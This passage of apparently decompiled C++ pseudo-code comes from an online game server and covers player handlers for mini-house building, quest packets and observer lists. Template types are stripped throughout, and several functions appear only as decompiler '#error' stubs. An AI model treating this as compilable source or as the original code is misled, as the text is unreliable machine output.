AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); LOBYTE(v15) = 1; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { *((_WORD *)v5 + 1) = 5913; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0050E040) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseGetMHInfo(void *this) { unsigned __int16 v1; // ax@1 char *result; // eax@2 int v3; // eax@3 char *v4; // esi@3 DebugLogging *v5; // edi@3 _iobuf *v6; // eax@5 DebugLogging *v7; // eax@7 DebugLogging *v8; // eax@7 int v9; // eax@9 unsigned int v10; // ecx@9 char *v11; // ecx@9 char *v12; // ST0C_4@9 DebugLogging *v13; // eax@9 DebugLogging *v14; // eax@9 v1 = *((_WORD *)this + 11688); if ( v1 < 0x80u && (result = (char *)&queue_MH_InnerInfo + 136 * v1) != 0 ) { if ( *((_WORD *)this + 2) != *(_WORD *)result ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)this + 1352))(this); v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = (char *)&namestring + 256 * v10; *(_DWORD *)v11 = *(_DWORD *)v9; *((_DWORD *)v11 + 1) = *(_DWORD *)(v9 + 4); *((_DWORD *)v11 + 2) = *(_DWORD *)(v9 + 8); v12 = v11; *((_DWORD *)v11 + 3) = *(_DWORD *)(v9 + 12); v11[16] = 0; v13 = DebugLogging::operator<<(&InnerMiniHouseLog, "MH_InnerInfo Null "); v14 = DebugLogging::operator<<(v13, v12); DebugLogging::operator<<(v14, &deb_LF); result = 0; } } else { v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v4 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v4 = *(_DWORD *)v3; *((_DWORD *)v4 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v4 + 3) = *(_DWORD *)(v3 + 12); v4[16] = 0; v5 = DebugLogging::operator<<(&InnerMiniHouseLog, "sp_MH_InnerInfo.MHFlag Null return "); if ( DebugLogging::dl_ActivAll && v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } v7 = DebugLogging::operator<<(v5, (char *)&stru_598DE4); v8 = DebugLogging::operator<<(v7, v4); DebugLogging::operator<<(v8, &deb_LF); result = 0; } return result; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0050E190) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::registerObsersver(int observer) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::registerObsersver"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::registerObsersver"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::registerObsersver"); } //----- (0050E1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1136))(v1) ) { case 0u: case 1u: case 2u: case 3u: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1444))(v1); break; case 6u: ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(v1); break; case 4u: case 5u: ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(v1); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"); } //----- (0050E2C0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, Observer *_Val) { std::vector >::iterator v4; // esi@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)&v4 + 12))(v4, _Val) ) break; *(_DWORD *)&v4 += 16; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (0050E300) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, Observer *_Val) { std::vector >::iterator v5; // esi@1 std::vector >::iterator v6; // edi@2 std::vector >::iterator v7; // eax@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)&v5 + 12))(v5, _Val) ) { v7 = v6; *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v5 + 4); *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v5 + 8); *(_DWORD *)&v6 += 16; *(_DWORD *)(*(_DWORD *)&v7 + 12) = *(_DWORD *)(*(_DWORD *)&v5 + 12); } *(_DWORD *)&v5 += 16; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (0050E360) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, has_same_master _Pred) { std::vector >::iterator v5; // ecx@1 std::vector >::iterator v6; // esi@2 int v7; // edx@3 std::vector >::iterator v8; // eax@4 std::vector >::iterator *v9; // eax@6 v5 = _First; if ( _First == _Last ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { v7 = *(_DWORD *)(*(_DWORD *)&v5 + 4); if ( _Pred != v7 ) { v8 = v6; *(_DWORD *)(*(_DWORD *)&v6 + 4) = v7; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v5 + 8); *(_DWORD *)&v6 += 16; *(_DWORD *)(*(_DWORD *)&v8 + 12) = *(_DWORD *)(*(_DWORD *)&v5 + 12); } *(_DWORD *)&v5 += 16; } while ( v5 != _Last ); v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v9; } //----- (0050E3B0) -------------------------------------------------------- #error "50E3B0: undefined or illegal type '#331' (funcsize=188)" //----- (0050E600) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_if>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, has_same_master _Pred) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) goto LABEL_10; while ( _Pred != *(_DWORD *)(*(_DWORD *)&v4 + 4) ) { *(_DWORD *)&v4 += 16; if ( v4 == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } } if ( v4 != _Last ) { std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>( result, (std::vector >::iterator)(*(_DWORD *)&v4 + 16), _Last, v4, _Pred); v5 = result; } else { LABEL_10: v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (0050E650) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 SkillDataBox::SkillDataIndex *v5; // eax@8 int v6; // ST04_4@12 int v7; // eax@12 signed int v8; // edi@14 char v9; // dl@21 char *v10; // eax@21 char v11; // al@21 int v12; // eax@22 signed int v13; // [sp-4h] [bp-F4h]@7 FunctionEntarance _; // [sp+10h] [bp-E0h]@1 MemoryMiniHouseEntrance tmp; // [sp+14h] [bp-DCh]@21 Name8 area; // [sp+9Ch] [bp-54h]@15 char areabuf[33]; // [sp+BCh] [bp-34h]@15 unsigned int cookie; // [sp+E0h] [bp-10h]@27 int v19; // [sp+ECh] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S9_36 & 1) ) { _S9_36 |= 1u; cmc_83.cmc_AllowMode = 6; atexit(_E10_24); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_83.cmc_AllowMode) || *((_BYTE *)v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) { v13 = 4482; goto LABEL_26; } if ( !*(_DWORD *)((char *)v4 + 98) ) { v13 = 4499; LABEL_26: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, v13); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"); goto LABEL_27; } v5 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "MiniRoomSkill"); if ( v5 ) { if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, v5->sdi_Activ->ID) ) { v6 = *(_DWORD *)((char *)v4 + 78); v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange( v4, v7, v6, 400, 0, (int)ShineObjectClass::ShineObject::so_TentPoint, 0, 0, 0, 0, 65535) ) { v8 = 1; do { sprintf(areabuf, "MH_Zone%d%c"); Name8::Name8(&area, areabuf); if ( FieldMap::fm_AreaEntry( *(_DWORD *)((char *)v4 + 98), &area, **(_DWORD **)((char *)v4 + 78), *(_DWORD *)(*(_DWORD *)((char *)v4 + 78) + 4)) ) break; ++v8; } while ( v8 < 10 ); if ( v8 == 10 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4501); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4485); } else { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2528))(v4); tmp.MaxPlayer = *(_BYTE *)(netcmd + 2); strncpy(tmp.Password, (const char *)(netcmd + 3), 8u); tmp.Password[8] = 0; strncpy(tmp.Title, (const char *)(netcmd + 12), 0x14u); v9 = *(_BYTE *)(netcmd + 33); tmp.Title[20] = 0; tmp.bItemInfoClose = v9; strncpy(tmp.sNotify, (const char *)(netcmd + 34), 0x64u); v10 = gpp.pp_Buffer; tmp.sNotify[100] = 0; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v10 + 1) = 5000; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ : Packet Too Long", 4) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } *((_BYTE *)v4 + 23380) = 1; ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 92156), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))&ShineObjectClass::ShinePlayer::sp_Schedule_BuildMiniHouse, 0, TSCW_MISC, 5000); *((_WORD *)v4 + 11688) = MemoryQueue::mq_Store( &queue_MH_InnerInfo, *((_WORD *)v4 + 2), &tmp); } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4505); } v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4506); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4506); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } LABEL_27: __security_check_cookie(cookie); } //----- (0050EA00) -------------------------------------------------------- #error "50EA00: undefined or illegal type '#331' (funcsize=39)" //----- (0050EA80) -------------------------------------------------------- std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersver(std::vector >::iterator this, Observer *observer) { Observer *v2; // ebx@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // esi@1 std::vector >::iterator v5; // eax@1 std::vector >::iterator result; // [sp+0h] [bp-4h]@1 result = this; v2 = observer; v3 = this; v4 = *(std::vector >::iterator *)(*(_DWORD *)&this + 92560); v5 = *(std::vector >::iterator *)&std::find>::iterator_Observer>( &result, *(std::vector >::iterator *)(*(_DWORD *)&this + 92556), *(std::vector >::iterator *)(*(_DWORD *)&this + 92560), observer)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v5 != v4 ) { std::remove_copy>::iterator_std::vector>::iterator_Observer>( (std::vector >::iterator *)&observer, (std::vector >::iterator)(*(_DWORD *)&v5 + 16), v4, v5, v2); v5 = (std::vector >::iterator)observer; } return std::vector>::erase( (std::vector > *)(*(_DWORD *)&v3 + 92552), (std::vector >::iterator *)&observer, v5, v4); } //----- (0050EAE0) -------------------------------------------------------- std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersvers(int this, has_same_master result) { int v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator *v4; // eax@1 int v6; // [sp+0h] [bp-4h]@1 v6 = this; v2 = this; v3 = *(std::vector >::iterator *)(this + 92560); v4 = std::remove_if>::iterator_has_same_master>( (std::vector >::iterator *)&result, *(std::vector >::iterator *)(this + 92556), *(std::vector >::iterator *)(this + 92560), result); return std::vector>::erase( (std::vector > *)(v2 + 92552), (std::vector >::iterator *)&v6, *v4, v3); } //----- (0050EB20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::notifyObservers(int this, int happen, int DwParam, int SDwParam) { int v4; // ebp@1 int v5; // ebx@1 int v6; // edx@3 int v7; // ecx@3 int v8; // eax@4 int v9; // edi@6 int i; // esi@6 v4 = this; v5 = *(_DWORD *)(this + 92556); if ( v5 != *(_DWORD *)(this + 92560) ) { do { if ( (*(int (__thiscall **)(int, _DWORD, int, int, int, int, _DWORD))(*(_DWORD *)v5 + 4))( v5, 0, v4, happen, DwParam, SDwParam, 0) & 2 ) { v6 = *(_DWORD *)(v4 + 92560); v7 = v5 + 16; if ( v5 + 16 != v6 ) { v8 = v5 + 8; do { *(_DWORD *)(v8 - 4) = *(_DWORD *)(v8 + 12); *(_DWORD *)v8 = *(_DWORD *)(v8 + 16); *(_DWORD *)(v8 + 4) = *(_DWORD *)(v8 + 20); v7 += 16; v8 += 16; } while ( v7 != v6 ); } v9 = *(_DWORD *)(v4 + 92560); for ( i = v9 - 16; i != v9; i += 16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))i)(i, 0); *(_DWORD *)(v4 + 92560) -= 16; } else { v5 += 16; } } while ( v5 != *(_DWORD *)(v4 + 92560) ); } } //----- (0050EBD0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Observer *_Val) { std::vector > *v2; // esi@1 Observer *v3; // edx@1 signed int v4; // ecx@2 Observer *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0050EC40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::registerObsersver(void *this, Observer *observer) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::registerObsersver"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::registerObsersver"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; std::vector>::push_back( (std::vector > *)((char *)v2 + 92552), observer); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::registerObsersver"); } //----- (0050ECE0) -------------------------------------------------------- void __thiscall ShineQuestDiary::ShineQuestDiary(ShineQuestDiary *this) { CQuestZone::CQuestZone(&this->sqd_QuestDiary, &gQuestData); } //----- (0050ED10) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_QuestCheck(int qf, int a2, int a3, int mobinf) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_QuestCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_QuestCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_QuestCheck"); } //----- (0050ED60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestCheck(void *this, void (__thiscall *qf)(_DWORD, _DWORD, _DWORD, _DWORD), int a3, int a4, int mobinf) { void *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qf((char *)v5 + 66048, a3, a4, mobinf); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"); } //----- (0050EE10) -------------------------------------------------------- void __thiscall ShineQuestDiary::sqd_MobDead(ShineQuestDiary *this, #331 *a2, #331 *mob, MobDataBox::MobDataBoxIndex *mobinf) { CQuestZone *v4; // esi@1 v4 = (CQuestZone *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineQuestDiary::sqd_MobDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineQuestDiary::sqd_MobDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuestZone::QuestPlayer_NPCMobKill(v4, mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineQuestDiary::sqd_MobDead"); } //----- (0050EEB0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_ItemLotChange(__int16 item, int delta) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ItemLotChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_ItemLotChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ItemLotChange"); } //----- (0050EF00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotChange(void *this, int item, int delta) { void *v3; // esi@1 int v4; // edx@1 int v5; // esi@1 int v6; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 16512); v5 = (int)((char *)v3 + 66048); v6 = (unsigned __int16)(*(int (__thiscall **)(int, int))(v4 + 104))(v5, item); if ( delta <= 0 ) { if ( delta < 0 ) (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 16))(v5, item, v6); } else { (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 12))(v5, item, v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"); } //----- (0050EFD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S4_18 & 1) ) { _S4_18 |= 1u; cmc_84.cmc_AllowMode = 70; atexit(_E5_66); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_84.cmc_AllowMode ) { *((_DWORD *)v4 + 5830) = clockwatch.cw_CurrTick; CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK( (CQuestZone *)((char *)v4 + 66048), (PROTO_NC_QUEST_SCRIPT_CMD_ACK *)(netcmd + 2)); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"); } //----- (0050F0D0) -------------------------------------------------------- #error "50F0D0: undefined or illegal type '#331' (funcsize=60)" //----- (0050F1C0) -------------------------------------------------------- #error "50F1C0: undefined or illegal type '#331' (funcsize=60)" //----- (0050F2B0) -------------------------------------------------------- #error "50F2B0: undefined or illegal type '#331' (funcsize=60)" //----- (0050F3A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 CQuestZone *v5; // ecx@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_67 & 1) ) { _S6_67 |= 1u; cmc_85.cmc_AllowMode = 70; atexit(_E7_50); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_85.cmc_AllowMode ) { v5 = (CQuestZone *)((char *)v4 + 66048); if ( clockwatch.cw_CurrTick >= *((_DWORD *)v4 + 5830) + 100 ) CQuestZone::Recv_NC_QUEST_GIVE_UP_REQ(v5, (PROTO_NC_QUEST_GIVE_UP_REQ *)(netcmd + 2)); else CQuestZone::Send_NC_QUEST_GIVE_UP_ACK(v5, *(_WORD *)(netcmd + 2), 0xB49u); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"); } //----- (0050F4B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S8_16 & 1) ) { _S8_16 |= 1u; cmc_86.cmc_AllowMode = 70; atexit(_E9_15); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_86.cmc_AllowMode ) CQuestZone::Recv_NC_QUEST_CLIENT_SCENARIO_DONE_REQ( (CQuestZone *)((char *)v4 + 66048), (PROTO_NC_QUEST_CLIENT_SCENARIO_DONE_REQ *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"); } //----- (0050F5A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_12 & 1) ) { _S10_12 |= 1u; cmc_87.cmc_AllowMode = 70; atexit(_E11_26); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_87.cmc_AllowMode ) CQuestZone::Recv_NC_QUEST_SELECT_START_REQ( (CQuestZone *)((char *)v4 + 66048), (PROTO_NC_QUEST_SELECT_START_REQ *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"); } //----- (0050F690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S12_24 & 1) ) { _S12_24 |= 1u; cmc_88.cmc_AllowMode = 70; atexit(_E13_22); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_88.cmc_AllowMode ) CQuestZone::Recv_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD( (CQuestZone *)((char *)v4 + 66048), (PROTO_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( 